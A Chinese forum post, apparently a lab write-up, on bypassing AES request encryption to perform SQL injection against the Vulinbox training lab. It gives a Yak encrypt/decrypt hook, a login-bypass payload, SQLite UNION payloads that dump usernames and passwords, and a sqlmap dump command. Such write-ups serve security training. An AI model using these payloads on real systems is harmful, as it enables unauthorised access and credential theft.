渗透测试-前后端加密分析之AES加密下的SQL注入

打印 上一主题 下一主题

主题 893|帖子 893|积分 2679

本文是高级前端加解密与验签实战的第9篇文章,也是最后一篇文章。本系列文章实行靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过前后端加密进行SQL注入。
登录


输入账号暗码,抓包查看数据包,看上去就是一个普通的aes加密:

这里热加载代码不算太难,常规的加解密函数就可以了:
  1. encryptAES = (packet) => {
  2.     body = poc.GetHTTPPacketBody(packet)
  3.     // 生成随机key和iv
  4.     key =  randstr(16)
  5.     iv = randstr(12)
  6.     // 加密数据
  7.     data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
  8.     data = codec.EncodeBase64(data)
  9.     // 获取key和iv的hex值
  10.     hexKey = codec.EncodeToHex(key)
  11.     hexIV = codec.EncodeToHex(iv)
  12.     // 构造新的body
  13.     body = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`
  14.     return poc.ReplaceBody(packet, body, false)
  15. }
  16. decryptAES = (packet) => {
  17.     body = poc.GetHTTPPacketBody(packet)
  18.     body = json.loads(body)
  19.     key = codec.DecodeHex(body.key)~
  20.     iv = codec.DecodeHex(body.iv)~
  21.     data = codec.DecodeBase64(body.message)~
  22.     data = codec.AESCBCDecrypt(key, data, iv)~
  23.     return poc.ReplaceBody(packet, data, false)
  24. }
  25. beforeRequest = func(req){
  26.     return encryptAES(req)
  27. }
  28. afterRequest = func(rsp){
  29.     return decryptAES(rsp)
  30. }
复制代码
哀求体格式
  1. {"username":"admin","password":"password"}
复制代码
热加载加解密成功

本关提示是SQL注入,所以直接啪一个1=1,说时迟当时快,直接登陆成功
  1. POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1
  2. Host: 127.0.0.1:8787
  3. Content-Type: application/json
  4. {"username":"admin","password":"password'or 1=1--"}
复制代码

注入

手工

登陆后看到哀求了/crypto/sqli/aes-ecb/encrypt/query/users路径

解密一下哀求包:

获取到哀求的格式:
  1. {"search":""}
复制代码

这里是SQLite注入,注入的语句是通过这篇文章获取的:sqlite注入的一点总结 - 先知社区 (aliyun.com)
  1. {"search":"user1'order by 3--"}
复制代码
  1. {"search":"user1'union select 1,2,3--"}
复制代码
  1. {"search":"user1'union select 11,22,sql from sqlite_master--"}
复制代码
  1. {"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}
复制代码
  1. {"search":"user1'union select username,password,id from vulin_users--"}
复制代码
注入成功:
  1. POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
  2. Host: 127.0.0.1:8787
  3. Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
  4. Content-Type: application/json
  5. Content-Length: 119
  6. {"search":"user1'union select username,password,id from vulin_users--"}
复制代码

sqlmap

在MITM处加载热加载代码

使用sqlmap注入
  1. python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dump
复制代码
http.txt
  1. POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
  2. Host: 127.0.0.1:8787
  3. Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
  4. Content-Type: application/json
  5. Content-Length: 119
  6. {"search":"*"}
复制代码
效果:


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

乌市泽哥

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表